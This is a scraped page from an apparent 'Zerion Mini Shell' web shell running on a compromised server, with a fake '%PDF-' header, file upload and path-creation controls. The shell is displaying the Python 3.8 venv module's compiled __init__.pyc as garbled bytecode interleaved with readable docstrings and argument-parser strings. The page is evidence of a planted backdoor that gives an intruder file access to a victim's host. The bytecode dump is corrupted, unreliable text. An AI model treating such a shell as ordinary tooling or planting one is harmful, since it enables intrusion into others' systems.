%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /snap/core20/2318/lib/python3.8/venv/__pycache__/
Upload File :
Create Path :
Current File : //snap/core20/2318/lib/python3.8/venv/__pycache__/__init__.cpython-38.pyc

U

k�]eV�
@s�dZddlZddlZddlZddlZddlZddlZddlZe�e	�Z
Gdd�d�Zddd�Zddd	�Z
e	d
kr�dZze
�dZWn4ek
r�Zzedeejd
�W5dZ[XYnXe�e�dS)z�
Virtual environment (venv) package for Python. Based on PEP 405.

Copyright (C) 2011-2014 Vinay Sajip.
Licensed to the PSF under a contributor agreement.
�Nc@s�eZdZdZddd�Zdd�Zdd	�Zd
d�Zdd
�Ze	j
dkrLddd�Zn
d dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�ZdS)!�
EnvBuildera�
    This class exists to allow virtual environment creation to be
    customized. The constructor parameters determine the builder's
    behaviour when called upon to create a virtual environment.

    By default, the builder makes the system (global) site-packages dir
    *un*available to the created environment.

    If invoked using the Python -m option, the default is to use copying
    on Windows platforms but symlinks elsewhere. If instantiated some
    other way, the default is to *not* use symlinks.

    :param system_site_packages: If True, the system (global) site-packages
                                 dir is available to created environments.
    :param clear: If True, delete the contents of the environment directory if
                  it already exists, before environment creation.
    :param symlinks: If True, attempt to symlink rather than copy files into
                     virtual environment.
    :param upgrade: If True, upgrade an existing virtual environment.
    :param with_pip: If True, ensure pip is installed in the virtual
                     environment
    :param prompt: Alternative terminal prefix for the environment.
    FNcCs(||_||_||_||_||_||_dS�N��system_site_packages�clear�symlinks�upgrade�with_pip�prompt)�selfrrrrr	r
�r�#/usr/lib/python3.8/venv/__init__.py�__init__+szEnvBuilder.__init__cCsxtj�|�}|�|�}|j}d|_|�|�|�|�|jrF|�|�|j	s`|�
|�|�|�|rtd|_|�|�dS)z�
        Create a virtual environment in a directory.

        :param env_dir: The target directory to create an environment in.

        FTN)�os�path�abspath�ensure_directoriesr�create_configuration�setup_pythonr	�
_setup_pipr�
setup_scripts�
post_setup)r�env_dir�contextZtrue_system_site_packagesrrr
�create4s





zEnvBuilder.createcCs\t�|�D]L}tj�||�}tj�|�s4tj�|�r@t�|�q
tj�|�r
t�	|�q
dSr)
r�listdirr�join�islink�isfile�remove�isdir�shutilZrmtree)rr�fnrrr
�clear_directoryNszEnvBuilder.clear_directorycCs�dd�}tj�|�r$|jr$|�|�t��}||_tj�|�d|_	|j
dk	rT|j
n|j	}d||_
||�tj}tj�tj�
|��\}}||_||_||_tjdkr�d}d}	tj�|d	d
�}
n(d}d}	tj�|d
dtjdd�d
�}
tj�||	�|_}||�||
�tjdk�rXtjdk�rXtjdk�rXtj�|d�}tj�|��sXt�d
|�tj�||�|_}
||_tj�|
|�|_||
�|S)z�
        Create the directories for the environment.

        Returns a context object which holds paths in the environment,
        for use by subsequent logic.
        cSs@tj�|�st�|�n$tj�|�s0tj�|�r<td|��dS)NzUnable to create directory %r)rr�exists�makedirsrr�
ValueError)�drrr
�create_if_needed^sz7EnvBuilder.ensure_directories.<locals>.create_if_needed�Nz(%s) Zwin32ZScriptsZInclude�Libz
site-packages�binZincludeZlibzpython%d.%d�l�posix�darwinZlib64)rrr$rr#�types�SimpleNamespacer�split�env_namer
�sys�_base_executabler�
executable�
python_dirZ
python_exe�platformr�version_infoZinc_path�maxsize�name�symlink�bin_path�bin_name�env_exe)rrr(rr
r5�dirnameZexenameZbinnameZincpathZlibpathrZ	link_path�binpathrrr
rVsL



��zEnvBuilder.ensure_directoriesc	Cs�tj�|jd�|_}t|ddd��j}|�d|j�|jrBd}nd}|�d|�|�d	t	j
d
d��|jd
k	r�|�d|j�d
��W5QRXd
S)aA
        Create a configuration file indicating where the environment's Python
        was copied from, and whether the system site-packages should be made
        available in the environment.

        :param context: The information for the environment creation request
                        being processed.
        z
pyvenv.cfg�w�utf-8)�encodingz
home = %s
ZtrueZfalsez"include-system-site-packages = %s
zversion = %d.%d.%d
N�z	prompt = �
)rrrrZcfg_path�open�writer6rr3r8r
)rrr�fZinclrrr
r�s	
zEnvBuilder.create_configuration�ntcCs�|j}|s�zRtj�|�s\|rPtj�|�tj�|�ks:t�t�tj�|�|�nt�||�Wn&tk
r�t	�
d||�d}YnX|r�t�||�dS)�Y
            Try symlinking a file, and if that fails, fall back to copying.
            �Unable to symlink %r to %rTN)
rrrrr?�AssertionErrorr;�basename�	Exception�logger�warningr!�copyfile)r�src�dst�relative_symlinks_okZ
force_copyrrr
�symlink_or_copy�s
zEnvBuilder.symlink_or_copycCs|tj�|�otj�|�}|jr�|s�tj�|�s�zH|rhtj�|�tj�|�ksRt�t�tj�	|�|�nt�||�WdSt
k
r�t�d||�YnXtj�
tj�	|��\}}tj�tj�t�dd||�}t�d�s�tj�|��sD|�d��r
d|}|dd�}|dk�rd	}n|d
k�r(d}tj�tj�|�||�}n|}tj�|��sl|�sht�d|�dSt�||�dS)
rJNrK�scriptsrITZ_d����pythonZvenvlauncherZpythonwZ
venvwlauncherzUnable to copy %r)rr�lexistsr$rrr?rLr;rMrNrOrP�splitextr�__file__�	sysconfig�is_python_buildr�endswithr!rQ)rrRrSrTZbad_srcrMZextZsrcfnrrr
rU�s>�

cCs�|j}|j}|j}|j}tjdkr�||j|�tj�|�sFt�	|d�dD]F}tj�
||�}tj�|�sJ||j|dd�tj�|�sJt�	|d�qJ�n|jr�dd�t�
|�D�}t�d�r�dd�|D�}nd	d
ddg}|D]2}tj�
||�}tj�|�r�||tj�
||��q�t�d��r�t�|j�D]z\}	}
}d
|k�r&tj�|	�}tj�
|jd|�}tj�|��spt�|�tj�
|	d
�}tj�
|d
�}
t�||
��q��q&dS)z�
        Set up a Python executable in the environment.

        :param context: The information for the environment creation request
                        being processed.
        rIi�)rXZpython3T)rTcSs,g|]$}tj�tj�|�d�dkr|�qS)r))�.exez.dll)rr�normcaserZ��.0rHrrr
�
<listcomp>�s�z+EnvBuilder.setup_python.<locals>.<listcomp>cSs"g|]}tj�|��d�r|�qS))rXZ	vcruntime)rrr`�
startswithrarrr
rcs�z
python.exezpython_d.exezpythonw.exez
pythonw_d.exezinit.tclr*N)r<r>rUr6rr:r5rr�chmodrr$rrr\r]rY�walkrMrr%r!rQ)rrr@rZcopierr?�suffix�suffixesrR�root�dirs�filesZtcldirrSrrr
r�sP
�
��

zEnvBuilder.setup_pythoncCs~|jddddg}ztj|tjdd�WnRtjk
rxt�d�}tj�	|�d��srt
d	�t��|��t
�d
��YnXdS)z1Installs or upgrades pip in a virtual environmentz-ImZ	ensurepip�	--upgradez
--default-pipT)�stderrZuniversal_newlines�stdlibz/ensurepip/__main__.pyanThe virtual environment was not created successfully because ensurepip is not
available.  On Debian/Ubuntu systems, you need to install the python3-venv
package using the following command.

    apt install python{}-venv

You may need to use sudo with that command.  After installing the python3-venv
package, recreate your virtual environment.

Failing command: {}
r)N)r>�
subprocessZcheck_outputZSTDOUTZCalledProcessErrorr\Zget_pathrrr$�print�formatZget_python_versionr3�exit)rr�cmdrnrrr
rs$
��

�
zEnvBuilder._setup_pipcCs2tj�tj�t��}tj�|d�}|�||�dS)a�
        Set up scripts into the created environment from a directory.

        This method installs the default scripts into the environment
        being created. You can prevent the default installation by overriding
        this method if you really need to, or if you need to specify
        a different location for the scripts to install. By default, the
        'scripts' directory in the venv package is used as the source of
        scripts to install.
        rVN)rrrr?r[r�install_scripts)rrrrrr
r;szEnvBuilder.setup_scriptscCsdS)a
        Hook for post-setup modification of the venv. Subclasses may install
        additional packages or scripts here, add activation shell scripts, etc.

        :param context: The information for the environment creation request
                        being processed.
        Nr)rrrrr
rJszEnvBuilder.post_setupcCsJ|�d|j�}|�d|j�}|�d|j�}|�d|j�}|�d|j�}|S)ai
        Replace variable placeholders in script text with context-specific
        variables.

        Return the text passed in , but with variables replaced.

        :param text: The text in which to replace placeholder variables.
        :param context: The information for the environment creation request
                        being processed.
        Z__VENV_DIR__Z
__VENV_NAME__Z__VENV_PROMPT__Z__VENV_BIN_NAME__Z__VENV_PYTHON__)�replacerr2r
r=r>)r�textrrrr
�replace_variablesTszEnvBuilder.replace_variablescCs�|j}t|�}t�|�D�]�\}}}||krX|dd�D]}|dtjfkr8|�|�q8q|D�]H}	tjdkr�|	�d�r�|	�d�r�q\tj�	||	�}
||d��
tj�dd�}|s�|}ntjj	|f|��}tj�|�s�t�
|�tj�	||	�}
t|
d��}	|	��}W5QRX|
�d��srz$|�d�}|�||�}|�d�}Wn6tk
�rp}zd}t�d	|
|�W5d}~XYnX|dk	r\t|
d
��}	|	�|�W5QRXt�|
|
�q\qdS)as
        Install scripts into the created environment from a directory.

        :param context: The information for the environment creation request
                        being processed.
        :param path:    Absolute pathname of a directory containing script.
                        Scripts in the 'common' subdirectory of this directory,
                        and those in the directory named for the platform
                        being run on, are installed in the created environment.
                        Placeholder variables are replaced with environment-
                        specific values.
        N�commonrIrX)r_z.pdbr,�rbrBz+unable to copy script %r, may be binary: %s�wb)r<�lenrrfr:rrdr^rrr1�sepr$r%rF�read�decoderw�encode�UnicodeErrorrOrPrGr!Zcopymode)rrrr@Zplenrirjrkr'rHZsrcfilergZdstdirZdstfile�data�errr
rtfsL

�

�zEnvBuilder.install_scripts)FFFFFN)F)F)�__name__�
__module__�__qualname__�__doc__rrr#rrrr:rUrrrrrwrtrrrr
rs(�
	4

+<!
rFcCs t|||||d�}|�|�dS)z,Create a virtual environment in a directory.)rrrr	r
N)rr)rrrrr	r
�builderrrr
r�s�rc	Cs^d}tjdkrd}nttd�s"d}|s2td���n(ddl}|jtddd	�}|jd
ddd
d�|jdddddd�tj	dkr�d}nd}|�
�}|jd|dddd�|jd|dddd�|jdddddd�|jddddd d�|jd!d"ddd#d$�|jd%d&d'�|�|�}|j�r"|j
�r"td(��t|j|j
|j|j|j|jd)�}|jD]}|�|��qHdS)*NT)rDrDF�base_prefixz.This script is only for use with Python >= 3.3rzFCreates virtual Python environments in one or more target directories.z|Once an environment has been created, you may wish to activate it, e.g. by sourcing an activate script in its bin directory.)�progZdescriptionZepilogrjZENV_DIR�+z)A directory to create the environment in.)�metavar�nargs�helpz--system-site-packages�
store_true�system_sitezDGive the virtual environment access to the system site-packages dir.)�default�action�destr�rIz
--symlinksrz[Try to use symlinks rather than copies, when symlinks are not the default for the platform.z--copiesZstore_falsez\Try to use copies rather than symlinks, even when symlinks are the default for the platform.z--clearrzcDelete the contents of the environment directory if it already exists, before environment creation.rlrzlUpgrade the environment directory to use this version of Python, assuming Python has been upgraded in-place.z
--without-pipr	z]Skips installing or upgrading pip in the virtual environment (pip is bootstrapped by default))r�r�r�r�z--promptz;Provides an alternative prompt prefix for this environment.)r�z1you cannot supply --upgrade and --clear together.r)r3r8�hasattrr&�argparse�ArgumentParserr��add_argumentrr:Zadd_mutually_exclusive_group�
parse_argsrrrr�rr	r
rjr)	�argsZ
compatibler��parserZuse_symlinks�groupZoptionsr�r'rrr
�main�s|

�

��
�
�
�
���
�
r��__main__r)z	Error: %s)�file)FFFFN)N)r�Zloggingrr!ror3r\r/Z	getLoggerr�rOrrr�ZrcrNr�rprmrrrrrr
�<module>s4

�

H$

Zerion Mini Shell 1.0